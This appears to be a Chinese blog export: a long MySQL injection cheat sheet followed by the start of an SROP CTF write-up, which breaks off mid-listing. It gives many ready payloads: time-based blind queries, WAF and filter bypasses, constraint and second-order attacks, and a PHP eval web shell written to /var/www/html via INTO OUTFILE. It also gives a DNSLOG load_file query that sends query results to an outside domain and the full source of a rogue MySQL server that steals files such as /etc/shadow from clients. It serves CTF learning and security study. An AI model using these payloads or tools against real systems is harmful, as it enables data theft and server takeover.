if(ascii(substr(database(),1,1))>114,sleep(3),0)%23\n\n查询结果正确,则延迟3秒,错误则无延时。\n2.benchmark()\n通过大量运算来模拟延时:\nid=' or benchmark(10000000,sha(1))%23id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23\n\n本地测试这个值大约可延时3秒:\n\n3.笛卡尔积\n计算笛卡尔积也是通过大量运算模拟延时:\nselect count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables Cselect balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)\n\n笛卡尔积延时大约也是3秒\n4.get_lock\n属于比较鸡肋的一种时间盲注,需要两个session,在第一个session中加锁:\nselect get_lock('test',1)\n\n\n然后再第二个session中执行查询:\nselect get_lock('test',5)\n\n另一个窗口:\n\n5.rlike+rpad\nrpad(1,3,’a’)是指用a填充第一位的字符串以达到第二位的长度经本地测试mysql5.7最大允许用单个rpad()填充349525位,而多个rpad()可以填充4个349525位,因此可用:\nselect * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asdasdsadasd',1);\n\n以上所写是本地测试的最大填充长度,延时0.3秒,最后的asdasdasd对时间长度有巨大影响,可以增长其长度以增大时延这个长度大概是1秒:\nselect * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',1);\n\n这个长度大概是2秒:\nselect * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1);\n\n5.HTTP头注入用于在cookie或referer中存储数据的场景,通常伴随着base64加密或md5等摘要算法,注入方式与上述相同。\n6.HTTP分割注入如果存在一个登录场景,参数为username&password\n查询语句为select xxx from xxx where username=’xxx’ and password=’xxx’\n但是username参数过滤了注释符,无法将后面的注释掉,则可尝试用内联注释把password注释掉,凑成一条新语句后注释或闭合掉后面的语句:\n例如实验吧加了料的报错注入:\n\n\n(来源:https://www.cnblogs.com/s1ye/p/8284806.html)\n这样就凑成了如下的语句,将password参数直接注释掉:\nselect * from users where username='1' or extractvalue/*'and password='1*/(1,concat(0x7e,(select database()),0x7e))) or '';\n\n当然这种注入的前提是单引号没有被过滤。如果过滤不太多的话,其实也有很多其他的方式如:\nPOST username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1&password=1凑成:select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'\n\n还有一个例子是GYCTF中的一道sql注入题,通过注入来登录:\n\n过滤了空格,union,#,—+,/*,^,or,\n这样上面用类似or ‘1’=’1’万能钥匙的方式来注入就不太可能了。\n可以考虑将password作为函数的参数来闭合语句:\nusername=admin'and(strcmp(&password=,'asdasdasdasdasdasd'))and'1这样凑成:select username from users where username='admin'and(strcmp('and password=','asdasdasdasdasdasd'))and'1'\n\nstrcmp比较,二者不一致返回True,一致返回False,而MySQL会将’1’判断为数字1,即True,因此该查询语句结果为True\n7.二次注入二次注入就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题\n假如登录/注册处的SQL语句没有可以注入的地方,并将username储存在session中,而在登录之后页面查询语句没有过滤,为:\nselect * from users where username=’$_SESSION[‘username’]’\n则我们在注册的时候便可将注入语句写入到session中,在登录后再查询的时候则会执行SQL语句:\n如username=admin’#,登录后查询语句为:\nselect * from users where username='admin' #'\n\n就构成了SQL注入。\n8.SQL约束攻击假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。\n则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。\n二、基础绕过1.大小写绕过用于过滤时没有匹配大小写的情况:\nSelECt * from table;\n2.双写绕过用于将禁止的字符直接删掉的过滤情况如:\npreg_replace(‘/select/‘,’’,input)\n则可用seselectlect from xxx来绕过,在删除一个select后剩下的就是select from xxx\n3.添加注释/*! */类型的注释,内部的语句会被执行\n\n本地mysql5.7测试通过:\n\n可以用来绕过一些WAF,或者绕过空格\n但是,不能将关键词用注释分开,例如下面的语句是不可以执行的(或者说只能在某些较老的版本执行):\nselect bbb from table1 where balabala='' union se/*!lect database()*/;\n\n4.使用16进制绕过特定字符如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:\nselect column_name from information_schema.columns where table_name=0x7573657273;\n\n0x7573657273为users的16进制\n5.宽字节、Latin1默认编码宽字节注入\n用于单引号被转义,但编码为gbk编码的情况下,用特殊字符将其与反斜杠合并,构成一个特殊字符:\nusername = %df'#经gbk解码后变为:select * from users where username ='運'#\n\n成功闭合了单引号。\nLatin1编码\nMysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略\n于是我们可以输入?username=admin%c2,存储至表中就变为了admin\n上面的%c2可以换为%c2-%ef之间的任意字符\n6.各个字符以及函数的代替数字的代替:\n摘自MySQL注入技巧\n代替字符\n数\n代替字符\n代替的数\n数、字\n代替的数\nfalse、!pi()\n0\nceil(pi()*pi())\nA\nceil((pi()+pi())*pi())\nK\ntrue、!(!pi())\n1\nceil(pi()*pi())+true\nB\nceil(ceil(pi())*version())\nL\ntrue+true\n2\nceil(pi()+pi()+version())\nC\nceil(pi()*ceil(pi()+pi()))\nM\nfloor(pi())、~~pi()\n3\nfloor(pi()*pi()+pi())\nD\nceil((pi()+ceil(pi()))*pi())\nN\nceil(pi())\n4\nceil(pi()*pi()+pi())\nE\nceil(pi())*ceil(version())\nO\nfloor(version()) //注意版本\n5\nceil(pi()*pi()+version())\nF\nfloor(pi()*(version()+pi()))\nP\nceil(version())\n6\nfloor(pi()*version())\nG\nfloor(version()*version())\nQ\nceil(pi()+pi())\n7\nceil(pi()*version())\nH\nceil(version()*version())\nR\nfloor(version()+pi())\n8\nceil(pi()*version())+true\nI\nceil(pi()_pi()_pi()-pi())\nS\nfloor(pi()*pi())\n9\nfloor((pi()+pi())*pi())\nJ\nfloor(pi()_pi()_floor(pi()))\nT\n其中!(!pi())代替1本地测试没有成功,还不知道原因。\n常用字符的替代\nand -> &&or -> 空格-> /**/ -> %a0 -> %0a -> +# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1= -> like -> regexp -> <> -> in注:regexp为正则匹配,利用正则会有些新的注入手段\n\n常用函数的替代\n字符串截取/拼接函数:\n摘自https://xz.aliyun.com/t/7169\n函数\n说明\nSUBSTR(str,N_start,N_length)\n对指定字符串进行截取,为SUBSTRING的简单版。\nSUBSTRING()\n多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)。\nRIGHT(str,len)\n对指定字符串从最右边截取指定长度。\nLEFT(str,len)\n对指定字符串从最左边截取指定长度。\nRPAD(str,len,padstr)\n在 str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。\nLPAD(str,len,padstr)\n与RPAD相似,在str左边补齐。\nMID(str,pos,len)\n同于 SUBSTRING(str,pos,len)。\nINSERT(str,pos,len,newstr)\n在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数。\nCONCAT(str1,str2…)\n函数用于将多个字符串合并为一个字符串\nGROUP_CONCAT(…)\n返回一个字符串结果,该结果由分组中的值连接组合而成。\nMAKE_SET(bits,str1,str2,…)\n根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))。\n函数/语句\n说明\nLENGTH(str)\n返回字符串的长度。\nPI()\n返回π的具体数值。\nREGEXP “statement”\n正则匹配数据,返回值为布尔值。\nLIKE “statement”\n匹配数据,%代表任意内容。返回值为布尔值。\nRLIKE “statement”\n与regexp相同。\nLOCATE(substr,str,[pos])\n返回子字符串第一次出现的位置。\nPOSITION(substr IN str)\n等同于 LOCATE()。\nLOWER(str)\n将字符串的大写字母全部转成小写。同:LCASE(str)。\nUPPER(str)\n将字符串的小写字母全部转成大写。同:UCASE(str)。\nELT(N,str1,str2,str3,…)\n与MAKE_SET(bit,str1,str2...)类似,根据N返回参数值。\nNULLIF(expr1,expr2)\n若expr1与expr2相同,则返回expr1,否则返回NULL。\nCHARSET(str)\n返回字符串使用的字符集。\nDECODE(crypt_str,pass_str)\n使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)。\n7.逗号被过滤用join代替:-1 union select 1,2,3-1 union select * from (select 1)a join (select 2)b join (select 3)c%23\nlimit:limit 2,1limit 1 offset 2\nsubstr:substr(database(),5,1)substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个substr(database() from 5)如果for也被过滤了mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同\nif:if(database()=’xxx’,sleep(3),1)id=1 and databse()=’xxx’ and sleep(3)select case when database()=’xxx’ then sleep(5) else 0 end\n8.limit被过滤select user from users limit 1\n加限制条件,如:\nselect user from users group by user_id having user_id = 1 (user_id是表中的一个column)\n9.information_schema被过滤innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中\n除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema\n10.and or && 被过滤可用运算符! ^ ~以及not xor来代替:\n例如:\n真^真^真=真真^假^真=假真^(!(真^假))=假……\n\n等等一系列组合\neg: select bbb from table1 where ‘29’=’29’^if(ascii(substr(database(),1,1))>0,sleep(3),0)^1;\n真则sleep(3),假则无时延\n三、特定场景的绕过1.表名已知字段名未知的注入join注入得到列名:\n条件:有回显(本地尝试了下貌似无法进行时间盲注,如果有大佬发现了方法可以指出来)\n第一个列名:\nselect * from(select * from table1 a join (select * from table1)b)c\n\n\n第二个列名:\nselect * from(select * from table1 a join (select * from table1)b using(balabala))c\n\n\n第三个列名:\nselect * from(select * from table1 a join (select * from table1)b using(balabala,eihey))c\n\n\n以此类推……\n在实际应用的的过程中,该语句可以用于判断条件中:\n类似于select xxx from xxx where ‘1’=’1’ and 语句=’a’\n\njoin利用别名直接注入:\n上述获取列名需要有回显,其实不需要知道列名即可获取字段内容:\n采用别名:union select 1,(select b.2 from (select 1,2,3,4 union select * from table1)b limit 1,1),3\n该语句即把(select 1,2,3,4 union select * from users)查询的结果作为表b,然后从表b的第1/2/3/4列查询结果\n当然,1,2,3,4的数目要根据表的列名的数目来确定。\nselect * from table1 where '1'='' or if(ascii(substr((select b.2 from (select 1,2,3,4 union select * from table1)b limit 3,1),1,1))>1,sleep(3),0)\n\n2.堆叠注入&select被过滤select被过滤一般只有在堆叠注入的情况下才可以绕过,除了极个别不需要select可以直接用password或者flag进行查询的情况\n在堆叠注入的场景里,最常用的方法有两个:\n1.预编译:\n没错,预编译除了防御SQL注入以外还可以拿来执行SQL注入语句,可谓双刃剑:\nid=1';Set @x=0x31;Prepare a from “select balabala from table1 where 1=?”;Execute a using @x;\n\n或者:\nset @x=0x73656c6563742062616c6162616c612066726f6d207461626c653120776865726520313d31;prepare a from @x;execute a;\n\n上面一大串16进制是select balabala from table1 where 1=1的16进制形式\n2.Handler查询\nHandler是Mysql特有的轻量级查询语句,并未出现在SQL标准中,所以SQL Server等是没有Handler查询的。\nHandler查询的用法:\nhandler table1 open as fuck;//打开句柄\nhandler fuck read first;//读所有字段第一条\nhandler fuck read next;//读所有字段下一条\n……\nhandler fuck close;//关闭句柄\n3.PHP正则回溯BUGPHP为防止正则表达式的DDos,给pcre设定了回溯次数上限,默认为100万次,超过这个上限则未匹配完,则直接返回False。\n例如存在preg_match(“/union.+?select/ig”,input)的过滤正则,则我们可以通过构造\nunion/*100万个1*/select\n\n即可绕过。\n4.PDO场景下的SQL注入PDO最主要有下列三项设置:\nPDO::ATTR_EMULATE_PREPARESPDO::ATTR_ERRMODEPDO::MYSQL_ATTR_MULTI_STATEMENTS\n\n第一项为模拟预编译,如果为False,则不存在SQL注入;如果为True,则PDO并非真正的预编译,而是将输入统一转化为字符型,并转义特殊字符。这样如果是gbk编码则存在宽字节注入。\n第二项为报错,如果设为True,可能会泄露一些信息。\n第三项为多句执行,如果设为True,且第一项也为True,则会存在宽字节+堆叠注入的双重大漏。\n详情请查看我的另一篇文章:\n从宽字节注入认识PDO的原理和正确使用\n5.Limit注入(5.7版本已经废除)适用于5.0.0-5.6.6版本\n如果存在一条语句为\nselect bbb from table1 limit 0,1\n\n后面接可控参数,则可在后面接union select:\nselect bbb from table1 limit 0,1 union select database();\n\n如果查询语句加入了order by:\nselect bbb from table1 order by balabala limit 0,1\n\n,则可用如下语句注入:\nselect bbb from table1 order by balabala limit 0,1 PROCEDURE analyse(1,1)\n\n其中1可换为其他盲注的语句\n6.特殊的盲注(1)查询成功与mysql error\n与普通的布尔盲注不同,这类盲注只会回显执行成功和mysql error,如此只能通过可能会报错的注入来实现,常见的比较简单的报错函数有:\n整数溢出:cot(0), pow(999999,999999), exp(710)几何函数:polygon(ans), linestring(ans)\n\n因此可以按照下面的逻辑来构造语句:\nparameter=1 and 语句 or cot(0)\n若语句为真,则返回正确结果并忽略后面的cot(0);语句为假,则执行后面的cot(0)报错\n\n无回显的情况:\nselect * from table1 where 1=1 and if(mid(user(),1,1)='r',benchmark(10000000,sha1(1)),1) and cot(0);或select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);\n\n用rpad+rlike以及benchmark的时间盲注可以成功,但是sleep()不可以,不太清楚原因。\n(2)mysql error的前提下延时与不延时\n这个看起来有点别扭,就是不管查询结果对还是不对,一定要mysql error\n还是感觉很别扭吧……网鼎杯web有道题就是这样的场景,insert注入但是只允许插入20条数据,所以不得不构造mysql error来达到在不插入数据的条件下盲注的目的。详情见网鼎杯Writeup+闲扯\n有个很简单的方法当时没有想到,就是上面rpad+rlike的时间盲注,因为当时sleep测试是没法盲注的,但是没有测试rpad+rlike的情况,这个方法就是:\n假 or if(语句,rpad延时语句=’a’,1) and cot(0)\n这样,无论语句是真是假,都会向后执行cot(0),必然报错\n如果语句为真,则延时,如果语句为假,则不延时,这就完美的达到了目的\npayload:\nselect * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=benchmark(1000000,sha1(1)),1) and cot(0);或select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);\n\n当然,比赛时想到的用sleep()的方法也是可以的。\n上面提到cot(0)会报错,即cot(False)会报错,所以只要让内部为False则必定会执行\n并且我们知道sleep(x)的返回值为0:\n\n这样就很好办了,if(语句,sleep(3),0),这样语句不管为真还是假都返回False\n所以构造语句\nselect * from table1 where '1'='1' and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));\n\n(3)表名未知\n表名未知只能去猜表名,通过构造盲注去猜测表名,这里不再过多赘述。\n四.文件的读写1.读写权限\n在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N:\n\n我们可以通过user()查看当前用户是什么,如果对应用户具有读写权限,则往下看,反之则放弃这条路找其他的方法。\n除了要查看用户权限,还有一个地方要查看,即secure-file-priv。它是一个系统变量,用于限制读写功能,它的值有三种:\n(1)无内容,即无限制\n(2)为NULL,表示禁止文件读写\n(3)为目录名,表示仅能在此目录下读写\n可用select @@secure_file_priv查看:\n\n此处为Windows环境,可以读写的目录为E:wamp64tmp\n2.读文件\n如果满足上述2个条件,则可尝试读写文件了。\n常用的读文件的语句有如下几种:\nselect load_file(file_path);load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件\n\n需要注意的是,file_path必须为绝对路径,且反斜杠需要转义:\n\n3.mysql任意文件读取漏洞\n攻击原理详见:https://paper.seebug.org/1112/\nexp:\n摘自:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py\n下面filelist是需要读取的文件列表,需要自行设置,该漏洞需要一个恶意mysql服务端,执行exp监听恶意mysql服务的对应端口,在目标服务器登录恶意mysql服务端\n#!/usr/bin/env python#coding: utf8import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlersPORT = 3306log = logging.getLogger(__name__)log.setLevel(logging.DEBUG)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler( tmp_format)filelist = (# r'c:boot.ini', r'c:windowswin.ini',# r'c:windowssystem32driversetchosts',# '/etc/passwd',# '/etc/shadow',)#================================================#=======No need to change after this lines=======#================================================__author__ = 'Gifts'def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null)class LastPacket(Exception): passclass OutOfOrder(Exception): passclass mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct('<Hbbb') def __init__(self, packet_type, payload): if isinstance(packet_type, mysql_packet): self.packet_num = packet_type.packet_num + 1 else: self.packet_num = packet_type self.payload = payload def __str__(self): payload_len = len(self.payload) if payload_len < 65536: header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) else: header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num) result = "{0}{1}".format( header, self.payload ) return result def __repr__(self): return repr(str(self)) @staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:] return mysql_packet(packet_num, payload)class http_request_handler(asynchat.async_chat): def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( 'x0a', # Protocol '3.0.0-Evil_Mysql_Server' + '', # Version #'5.1.66-0+squeeze1' + '', 'x36x00x00x00', # Thread ID 'evilsalt' + '', # Salt 'xdfxf7', # Capabilities 'x08', # Collation 'x02x00', # Server Status '' * 13, # Unknown 'evil2222' + '', )) ) ) self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY'] def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data) def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data) def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = [] if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == 'x03': log.info('Query') filename = random.choice(filelist) PACKET = mysql_packet( packet, 'xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == 'x1b': log.info('SelectDB') self.push(mysql_packet( packet, 'xfex00x00x02x00' )) raise LastPacket() elif packet.payload[0] in 'x02': self.push(mysql_packet( packet, 'x02' )) raise LastPacket() elif packet.payload == 'x00x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data) if len(data) == 1: self.push( mysql_packet(packet, 'x02') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1 elif self.sub_state == 'Auth': self.push(mysql_packet( packet, 'x02' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done()class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock) if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit() self.listen(5) def handle_accept(self): pair = self.accept() if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair)z = mysql_listener()daemonize()asyncore.loop()\n\n4.写文件\nselect 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';\n\n当secure_file_priv值为NULL时,可用生成日志的方法绕过:\nset global general_log_file = '/var/www/html/1.php';set global general_log = on;\n\n日志除了general_log还有其他许多日志,实际场景中需要有足够的写入日志的权限,且需要堆叠注入的条件方可采用该方法,因此利用非常困难。\n5.DNSLOG(OOB注入)\n若用户访问DNS服务器,则会在DNS日志中留下记录。如果请求中带有SQL查询的信息,则信息可被带出到DNS记录中。\n利用条件:\n1.secure_file_priv为空且有文件读取权限\n2.目标为windows(利用了UNC,Linux不可行)\n3.无回显且无法时间盲注\n利用方法:\n可以找一个免费的DNSlog:http://dnslog.cn/\n进入后可获取一个子域名,执行:\nselect load_file(concat('\\\\',(select database()),'.子域名.dnslog.cn'));\n\n相当于访问了select database().子域名.dnslog.cn,于是会留下DNSLOG记录,可从这些记录中查看SQL返回的信息。\n\n","categories":["Note"]},{"title":"360chunqiu2017_smallest —— 从例题理解SROP","url":"/2021/08/29/srop1/","content":"​\n前言:        本篇博客为个人学习过程中的理解,仅记录个人理解,WIKI写的要比本篇详细得多。若与其存在矛盾,请以WIKI为准,也感谢读者指出问题。\n正文:        SROP(Sigreturn Oriented Programming),与常规ROP的区别在于通过sigreturn函数来进行返回而不是retn指令\n这里引用WIKI中对Signal机制的介绍:     \nSignal 机制 ¶Signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:\n​\n\n内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。\n内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。 ​ \n\n如下是笔者对上述内容的翻译:\n        控制流在内核与用户层间切换时使用Signal机制来保存寄存器状态(笔者认为对上下文的保存主要依托RIP寄存器。在返回上下文时恢复RIP寄存器值来回到程序代码段,但目前并不能断言)\n        常见的场景是syscall指令执行,控制流切换入内核层,然后使用sigreturn内核函数返回用户层\n        笔者目前还不能对内核进行调试,因此进入内核层时的堆栈状态暂时不可见,因此目前只是根据推测和一些资料来理解\n 如下为sigcontext结构:\n\nX86: struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; };\n**X64:0xf8 byte ** struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };\n\n        在切换入内核层时,将把sigcontext结构体入栈,而在返回时则又会把占中的这些数据重新pop回寄存器\n        SROP的核心思想就是,在攻击者能够向栈中写足够字节时,通过伪造sigcontext来控制寄存器值,再通过syscall来实现任意系统调用执行(系统调用号置于文末以供参考)\n下图引用自CTF-WIKI:\n​\n        该利用称为system call chains\n        只要能够控制sigcontext且调用sigreturn,就能够控制所有寄存器的值,由此实现完全控制了(不过像“/bin/sh”这样的字符串需要额外写入到其他地方)\n例题:360chunqiu2017_smallestArch: amd64-64-littleRELRO: No RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)\n\n\n        整个程序只有一个start函数,而整个函数也只有这几行汇编指令,存在明显的栈溢出\n.text:00000000004000B0 public start.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o.text:00000000004000B0 xor rax, rax.text:00000000004000B3 mov edx, 400h ; count.text:00000000004000B8 mov rsi, rsp ; buf.text:00000000004000BB mov rdi, rax ; fd.text:00000000004000BE syscall ; 